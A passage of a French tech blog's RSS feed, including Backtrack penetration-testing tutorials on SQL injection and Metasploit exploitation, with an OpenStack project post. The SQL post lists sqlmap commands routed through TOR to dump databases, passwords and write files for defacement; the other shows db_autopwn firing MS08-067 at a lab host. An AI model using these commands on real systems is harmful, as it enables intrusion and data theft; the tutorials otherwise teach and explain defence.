<li>Et enfin, sans <strong>Google Labs</strong>, chaque produit Google n&#8217;aurait aucun sens, et ne communiquerait pas avec les autres (exemple : interactions entre Gmail et l&#8217;Agenda).</li>
</ul>
<p>&nbsp;</p>
<p>Bref, j&#8217;ai beaucoup d&#8217;admiration pour ceux qui travaillent chez Google. Peu importe ce que l&#8217;on peut dire à leur sujet, ils auront toujours une longueur d&#8217;avance et me feront toujours aimer le web. Merci à eux, et aux concepteurs de tous ces services formidables&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/que-ferais-je-sans-google/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Présentation d&#8217;OpenStack</title>
		<link>http://my1.fr/blog/presentation-openstack/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=presentation-openstack</link>
		<comments>http://my1.fr/blog/presentation-openstack/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 07:25:07 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[Virtualisation]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Computing]]></category>
		<category><![CDATA[Openstack]]></category>
		<category><![CDATA[planete-libre]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=405</guid>
		<description><![CDATA[Introduction Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Introduction</strong></p>
<p>Cela fait plusieurs semaines que je travaille sur un projet de Cloud Open-Source, de type IaaS (Infrastructure As A Service). Je dois dire que c&#8217;est un projet très intéressant et surtout prometteur dans un monde où VMware a tendance à écraser le marché. Je trouve génial de pouvoir disposer d&#8217;outils libres et gratuits pour comprendre la virtualisation.</p>
<p>&nbsp;</p>
<p>Dans cet article, je vais vous présenter mon projet, et je vous publie aussi le résultat de mon travail (un Powerpoint d&#8217;une cinquantaine de slides qui résume mon étude).</p>
<p>&nbsp;</p>
<p><strong>Mise en situation</strong></p>
<p>Concrètement, il m&#8217;a été demandé par mon directeur de formation d&#8217;installer un service de Cloud Computing Open-Source (avec OpenStack) qui fournirait un catalogue d&#8217;images (Ubuntu Server, Windows 2008 R2, etc) et managable depuis un navigateur Web. Plus concrètement, voici un descriptif du processus :</p>
<ul>
<li>Le client se connecte via un navigateur Web sur un Dashboard</li>
<li>En fonction de son profil, il a le droit ou non de créer des machines virtuelles, de créer des images, des snapshots, de gérer son réseau, etc.</li>
<li>Le client crée une machine virtuelle (exemple : Ubuntu Server) à partir d&#8217;un template, et lui attribue une adresse IP publique.</li>
<li>Il peut accéder à sa VM via SSH et a un accès root au système.</li>
<li>La machine peut être rebootée, et éteinte.</li>
<li>Le client peut consulter ce qu&#8217;il a consommé et voir combien il paiera en fin de mois pour son usage.</li>
</ul>
<p>Plusieurs points sont intéressants, c&#8217;est tout d&#8217;abord le dashboard. Accessible depuis Internet, le client s&#8217;authentifie de manière sécurisée et effectue toutes ses tâches nécessaires. Secundo, le principe de facturation est super intéressant pour une entreprise qui facture à son client en fonction de son utilisation. Enfin, outre le fait que tout les outils sont libres et gratuits, ils sont très compatibles avec les API des autres systèmes (ex : Xen, VMware, etc).</p>
<p>&nbsp;</p>
<p><strong>Mon étude</strong></p>
<p>Je ne vais pas rentrer dans les détails ici, mais plutôt vous donner le lien de téléchargement de mon fichier PDF que j&#8217;ai réalisé pour ma présentation.</p>
<p>Voici un aperçu avec Google Doc (il manque des visuels) :</p>
<p>
<iframe src="http://docs.google.com/viewer?url=http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf&hl=en_US&embedded=true" class="gde-frame" style="width:100%; height:500px; border: none;" scrolling="no"></iframe>

<p class="gde-text"><a href="http://my1.fr/blog/wp-content/uploads/2011/12/20111115_OpenStack_Briefing_1%C3%A8re_Partie.pdf" target="_blank" class="gde-link">Download (PDF, 1.09MB)</a></p><br />
<strong>La suite</strong></p>
<p>Dans quelques semaines, je recommence à travailler sur ce projet, et je vais me concentrer sur le nouveau Dashboard (Diablo) qui permet de faire plus de trucs que le module Cloud de Drupal. J&#8217;aimerais aussi me pencher sur la compatibilité avec les autres hyperviseurs, notamment les proprio (ça m&#8217;intrigue !). Enfin, je compte me perfectionner sur la haute disponibilité pour prétendre avoir un Cloud Open-Source performant, disponible, et compatible !</p>
<p>&nbsp;</p>
<p>La suite bientôt&#8230;<br />
PS : Le document fourni est 100% libre de droit, mais en cas de réutilisation, merci de me prévenir <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . Je suis également adepte au remarques et critiques, donc n&#8217;hésitez pas !</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/presentation-openstack/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Injections SQL</title>
		<link>http://my1.fr/blog/backtrack-injections-sql/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-injections-sql</link>
		<comments>http://my1.fr/blog/backtrack-injections-sql/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 19:32:05 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sqlmap]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=382</guid>
		<description><![CDATA[Dans l&#8217;article consacré à l&#8217;exploitation de faille, j&#8217;ai évoqué l&#8217;exemple d&#8217;une attaque avec Metasploit sur un système d&#8217;exploitation. Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage. &#160; [...]]]></description>
			<content:encoded><![CDATA[<p>Dans l&#8217;article consacré à l&#8217;exploitation de faille, j&#8217;ai évoqué l&#8217;exemple d&#8217;une attaque avec Metasploit sur un système d&#8217;exploitation.</p>
<p>Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Voici le plan de cet article :</p>
<ul>
<li>Définition</li>
<li>Exploitation</li>
<li>Impact</li>
<li>Se protéger</li>
</ul>
<p>Bien entendu, cet article a pour vocation d&#8217;expliquer comment les hackers font, et comment se protéger des attaques de ce type.</p>
<p>&nbsp;</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Définition</strong></span></li>
</ul>
<p>Une injection SQL est une méthode d&#8217;exploitation d&#8217;une faille de sécurité liée à une base de données. Elle consiste via une application utilisant une base de données SQL à injecter une requête qui permettrait d&#8217;obtenir beaucoup d&#8217;informations allant de la version du serveur jusqu&#8217;à la base de données complète. Nous allons voir dans la partie &laquo;&nbsp;Impact&nbsp;&raquo; ce qui est exploitable également.</p>
<p>Techniquement, une injection SQL via un site web consiste à exploiter une variable non protégée appelée via une URL.</p>
<p>Voici un bref exemple : &laquo;&nbsp;<strong>http://www.target.com/photos.php?id=1</strong>&nbsp;&raquo;</p>
<p>Cette URL affiche par défaut la page d&#8217;identifiant 1 par rapport à la base de données.<br />
En fin de compte, cette URL pourrait ressembler à cette requête SQL :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p382code3'); return false;">View Code</a> SQL</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3823"><td class="code" id="p382code3"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">SELECT</span> <span style="color: #66cc66;">*</span>
<span style="color: #993333; font-weight: bold;">FROM</span> photos
<span style="color: #993333; font-weight: bold;">WHERE</span> <span style="color: #ff0000;">'id_photos = 1'</span> ;</pre></td></tr></table></div>

<p>Cette requête pourtant simple permet toutefois beaucoup de choses si le code PHP a été mal programmé. Nous y reviendrons plus tard.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Exploitation</strong></span></li>
</ul>
<p>La meilleure explication est l&#8217;exemple.</p>
<p>Le hacker va tout d&#8217;abord chercher sa victime en fouillant le site Internet cible. Il pourra notamment s&#8217;aider de Google.</p>
<p>Par exemple, il va rechercher sur Google tous les &laquo;&nbsp;gallery.php&nbsp;&raquo; utilisant des ID :<br />
<a href="https://encrypted.google.com/#hl=en&amp;sugexp=gsis%2Ci18n%3Dtrue&amp;cp=21&amp;gs_id=3&amp;xhr=t&amp;q=inurl:gallery.php%3Fid%3D&amp;pf=p&amp;sclient=psy-ab&amp;site=&amp;source=hp&amp;pbx=1&amp;oq=inurl:gallery.php%3Fid%3D&amp;aq=f&amp;aqi=&amp;aql=&amp;gs_sm=&amp;gs_upl=&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=d5bc1e92224c5138&amp;biw=1366&amp;bih=551">inurl:gallery.php?id=</a></p>
<p>Dans la plupart des cas, les sites Web sont faits à l&#8217;aide de CMS, ou alors codés entièrement à la main. Mais il arrive que ces CMS ne soit pas à jour, ou alors que le développeur web n&#8217;est pas pris soin de protéger les variables utilisées par les URL.</p>
<p>Lorsque le hacker va tomber sur une page de ce style, il va remplacer le 1 par un -53 par exemple, de manière à provoquer une erreur.</p>
<p>Si le message suivant apparaît, vous pouvez être sûrs qu&#8217;une injection SQL est possible :</p>
<p><strong>Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/users/site/html/gallery.php on line 248</strong></p>
<p>En fait, j&#8217;irai même plus loin en disant que si <strong>http://www.target.com/photos.php?id=1</strong> affiche la même chose que <strong>http://www.target.com/photos.php?id=1+AND+1=1</strong> ou/et que <strong>http://www.target.com/photos.php?id=1+AND+1=2</strong> diffère de la 1ère page, il y a vulnérabilité.</p>
<p>Avec la distribution Backtrack, voyons maintenant ce que l&#8217;on peut faire. L&#8217;excellent outil &laquo;&nbsp;SQLmap&nbsp;&raquo; nous permettra de réaliser tous les tests nécessaire pour une injection SQL.</p>
<p>Je vais vous montrer quelques commandes (je n&#8217;invente rien, j&#8217;ai juste lu la doc <img src='http://my1.fr/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  ).</p>
<p>Note : Dans toutes mes commandes, j&#8217;utilise TOR pour rester anonyme, ainsi qu&#8217;un générateur d&#8217;USER-AGENT pour que le serveur web distant ne détecte pas de requêtes HTTP provenant d&#8217;un certain &laquo;&nbsp;SQLmap&nbsp;&raquo;.</p>
<p>Pour exécuter ces commandes, il faut avant se rendre dans le répertoire <strong>/pentest/database/sqlmap</strong>. Il faut également remplacer quand c&#8217;est le cas dans mes commandes $url par l&#8217;URL du site, $db par le nom de la base de données, $table par le nom de la table, $column par le nom de la colonne et $sql par la requête SQL voulue.</p>
<p>Auditer si l&#8217;URL est vulnérable :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent</strong></p>
<p>Si le site est vulnérable, il vous le dira explicitement.</p>
<p>C&#8217;est le cas pour notre exemple, passons à la suite.</p>
<p>Lister les privilèges SQL avec l&#8217;injection SQL :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;privileges</strong></p>
<p>Lister les bases de données :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;dbs</strong></p>
<p>Indiquer le nom de la base de données où l&#8217;injection SQL se fait :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;current-db</strong></p>
<p>Montrer les mots de passe d&#8217;accès à la base de données :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;passwords</strong></p>
<p>Lister les tables sur 5 threads (plus rapide) :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;tables -D $db &#8211;threads=&nbsp;&raquo;5&#8243;</strong></p>
<p>Lister les colonnes :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;columns -D $bdd -T $tables</strong></p>
<p>Dumper le contenu d&#8217;une table :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;dump -D $db -T $table &#8211;threads=&nbsp;&raquo;5&#8243;</strong></p>
<p>Exécuter une requête SQL :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;sql-query=&nbsp;&raquo;$sql&nbsp;&raquo; -D $db</strong></p>
<p>Si vraiment le serveur est mal configuré, il est aussi possible d&#8217;écrire un fichier (utilisé lors de defacements) :<br />
<strong>python sqlmap.py -u $url -v 1 &#8211;proxy=http://localhost:8118 &#8211;random-agent &#8211;file-write=$file &#8211;file-dest /var/www/public_html/</strong></p>
<p>SQLmap s&#8217;utilise aussi avec Metasploit :</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p382code4'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p3824"><td class="code" id="p382code4"><pre class="bash" style="font-family:monospace;">$ msfconsole
&nbsp;
                <span style="color: #666666; font-style: italic;">##                          ###           ##    ##</span>
 <span style="color: #666666; font-style: italic;">##  ##  #### ###### ####  #####   #####    ##    ####        ######</span>
<span style="color: #666666; font-style: italic;">####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##</span>
<span style="color: #666666; font-style: italic;">####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##</span>
<span style="color: #666666; font-style: italic;">## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##</span>
<span style="color: #666666; font-style: italic;">##   ##  #### ###   #####   #####     ##   ####   ####   #### ###</span>
                                      <span style="color: #666666; font-style: italic;">##</span>
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&amp;</span>gt; use auxiliary<span style="color: #000000; font-weight: bold;">/</span>scanner<span style="color: #000000; font-weight: bold;">/</span>http<span style="color: #000000; font-weight: bold;">/</span>sqlmap
msf auxiliary<span style="color: #7a0874; font-weight: bold;">&#40;</span>sqlmap<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">set</span> RHOSTS <span style="color: #7a0874; font-weight: bold;">&#91;</span>TARGET HOST RANGE<span style="color: #7a0874; font-weight: bold;">&#93;</span>
msf auxiliary<span style="color: #7a0874; font-weight: bold;">&#40;</span>sqlmap<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; run</pre></td></tr></table></div>

<p>Vous l&#8217;aurez compris, cet outil est hyper puissant, d&#8217;ailleurs j&#8217;insiste sur le fait que pour obtenir de meilleurs résultats, il est important de le mettre à jour régulièrement avec l&#8217;option &#8211;update.</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Impact</strong></span></li>
</ul>
<p>Quel impact d&#8217;une telle attaque ?<br />
La liste peut être longue, mais je vais faire court :</p>
<p>- compromission d&#8217;une partie ou d&#8217;une entière base de données, qui peut contenir des informations précieuses : logins, mots de passe, e-mails, coordonnées bancaires, etc.<br />
- compromission d&#8217;autres bases de données quand un seul utilisateur existe pour 150 bases de données (sisi je vous jure, ça existe).<br />
- compromission des données du serveur Web (on a vu qu&#8217;on pouvait dans certains cas écrire sur le serveur).</p>
<ul>
<li><span style="text-decoration: underline;"><strong>Se protéger</strong></span></li>
</ul>
<p>Il existe à chaque niveau des moyens pour se protéger contre les injections SQL.</p>
<p>Je vais partir des couches basses pour remonter peu à peu :</p>
<p>- Installer un équipement de détection d&#8217;intrusion de type IDS et mettre régulièrement à jour la base de données qui contient les &laquo;&nbsp;exploits&nbsp;&raquo; connus.<br />
- Installer un SGBDR connu, et le mettre à jour très régulièrement. Par exemple, MySQL est très performant, mais nécessite toutefois d&#8217;être mis-à-jour souvent.<br />
- Utiliser au mieux toutes les fonctionnalités des bases de données : pour chaque site par exemple, créer sa base de données, son utilisateur SQL, avec un minimum de droits. Bien entendu, le concept d&#8217;un seul utilisateur avec tous les droits partout est à proscrire !!!<br />
- Utiliser un serveur Web reconnu et le mettre à jour souvent. Apache est très bien reconnu dans le domaine.<br />
- Enfin, il est plus qu&#8217;obligatoire de protéger toutes les variables utilisées.</p>
<p>Exemple : <strong>$id = mysql_real_escape_string($_POST['id']);</strong></p>
<p>Dans ce domaine, voici un <a href="http://php.net/manual/en/security.database.sql-injection.php">lien très intéressant</a>. Si vous n&#8217;y connaissez rien, utiliser un CMS bien reconnu, et mettez-le à jour dès que possible ! (WordPress par exemple)</p>
<p><strong>En résumé : utiliser des outils connus et les mettre à jour régulièrement.</strong></p>
<p>En conclusion, SQL est un langage surpuissant, qui demande beaucoup de connaissances. Négliger la sécurité dans les couches hautes, peut compromettre tout le reste. Imaginer le pire : intrusion sur un serveur web via injection SQL, accès à d&#8217;autres serveurs via une connexion de pont, dump de toutes les bases de données, defacement de sites web&#8230;</p>
<p>Aujourd&#8217;hui, les injections SQL sont les vulnérabilités les plus utilisées sur le Web.<br />
A bon entendeur&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-injections-sql/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Backtrack &#8211; Exploitation de faille</title>
		<link>http://my1.fr/blog/backtrack-exploitation-de-faille/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=backtrack-exploitation-de-faille</link>
		<comments>http://my1.fr/blog/backtrack-exploitation-de-faille/#comments</comments>
		<pubDate>Mon, 05 Sep 2011 14:07:11 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Logiciels libres]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[planete-libre]]></category>
		<category><![CDATA[sécurité]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=360</guid>
		<description><![CDATA[Nous continuons la série d’articles consacrés à Backtrack. L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système. Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites [...]]]></description>
			<content:encoded><![CDATA[<p>Nous continuons la série d’articles consacrés à Backtrack.</p>
<p>L&#8217;exploitation de faille est un moment excitant. Toutes les recherches engagées vont normalement porter ses fruits. Nous allons enfin explorer les faiblesses d&#8217;un réseau ou d&#8217;un système.<br />
Suivant les vulnérabilités, il y a des tonnes de possibilités en matière d&#8217;exploitation. Si vous voulez en savoir plus, faites comme moi et achetez un bon bouquin relatant des techniques de Hacking. Vous comprendrez mieux quelles sont les différentes méthodes pour exploiter une faille, ainsi que les différents types de failles.</p>
<p>Comme il existe beaucoup de types de failles, et énormément de méthodes, je m&#8217;arrêterai sur un cas général, en appliquant une technique &laquo;&nbsp;classique&nbsp;&raquo;.</p>
<p>Après avoir collecté un tas d&#8217;informations sur le réseau, ainsi que sur la machine ciblée, nous avons évaluer ses vulnérabilités. Rappelez-vous de notre bon ami Nessus qui nous a clairement indiqué que la machine cible avait comme système d&#8217;exploitation Windows XP SP3, et proposait le service de système de fichiers réseau CIFS. Seulement voilà, cette machine est vulnérable. Non pas parce qu&#8217;elle utilise ce service, mais parce que l&#8217;administrateur de la machine n&#8217;a pas pris le temps de mettre à jour régulièrement son système d&#8217;exploitation via Windows Update, ainsi que l&#8217;antivirus</p>
<p>Sachez que les tests réalisés en réseau local ont été effectué avec l&#8217;antivirus Avira Antivir (ainsi qu&#8217;une base de données antivirale de moins d&#8217;un an), sur un Windows XP SP3 sans mises à jour récentes.</p>
<p>Vous serez surpris de voir qu&#8217;il existe énormément d&#8217;ordinateurs au monde dans ce cas là. Ils sont souvent la proie des virus sur Internet (qui aident notamment à réaliser des attaques DDoS (Distributed Denial of Service).</p>
<p>Dans notre étude de cas, nous allons utiliser Metasploit Framework (MSF).</p>
<p>Sa base de données contient tous les <em>exploits</em> / <em>payloads</em> connus à ce jour. Bien entendu, pour une bonne utilisation de cet outil, il est important de le mettre à jour régulièrement (voir même avant chaque utilisation) avec la commande &laquo;&nbsp;<strong>msfupdate</strong>&laquo;&nbsp;.</p>
<p>Dans un terminal, démarrez l&#8217;outil &laquo;&nbsp;<strong>msfconsole</strong>&laquo;&nbsp;.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code10'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36010"><td class="code" id="p360code10"><pre class="bash" style="font-family:monospace;">root<span style="color: #000000; font-weight: bold;">@</span>root:~<span style="color: #666666; font-style: italic;"># msfconsole</span>
&nbsp;
_
<span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>      o
_  _  _    _ _<span style="color: #000000; font-weight: bold;">|</span>_  __,   ,    _  <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">|</span>  __    _<span style="color: #000000; font-weight: bold;">|</span>_
<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|/</span> <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">/</span> \_<span style="color: #000000; font-weight: bold;">|/</span> \_<span style="color: #000000; font-weight: bold;">|/</span>  <span style="color: #000000; font-weight: bold;">/</span>  \_<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>
<span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>  <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>__<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>\_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span> \<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>__<span style="color: #000000; font-weight: bold;">/</span>\__<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span>_<span style="color: #000000; font-weight: bold;">/|</span>_<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">/|</span>
\<span style="color: #000000; font-weight: bold;">|</span>
&nbsp;
=<span style="color: #7a0874; font-weight: bold;">&#91;</span> metasploit v3.7.0-release <span style="color: #7a0874; font-weight: bold;">&#91;</span>core:<span style="color: #000000;">3.7</span> api:<span style="color: #000000;">1.0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">684</span> exploits - <span style="color: #000000;">355</span> auxiliary
+ <span style="color: #660033;">--</span> <span style="color: #660033;">--</span>=<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">217</span> payloads - <span style="color: #000000;">27</span> encoders - <span style="color: #000000;">8</span> nops
&nbsp;
msf <span style="color: #000000; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p>Nous allons utiliser le résultat du scan Nessus exécuté dans dans la recherche de vulnérabilité (dernier article), et l&#8217;importer dans une base de données SQL :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code11'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36011"><td class="code" id="p360code11"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.129
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_import <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing <span style="color: #ff0000;">'Nessus XML (v2)'</span> data
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Importing host 192.168.128.132
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Successfully imported <span style="color: #000000; font-weight: bold;">/</span>root<span style="color: #000000; font-weight: bold;">/</span>nessus_report_Win.nessus</pre></td></tr></table></div>

<p>MSF connaît maintenant votre victime : comment la joindre, et surtout quelles sont les vulnérabilités trouvées par Nessus.</p>
<p>Nous allons lancer une commande qui va automatiquement exploiter l&#8217;un des failles disponibles afin d&#8217;obtenir une session avec la machine distante. Admirez le travail :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code12'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36012"><td class="code" id="p360code12"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> db_autopwn <span style="color: #660033;">-x</span> <span style="color: #660033;">-e</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms08_067_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>ms06_040_netapi against 192.168.128.132:<span style="color: #000000;">445</span>...
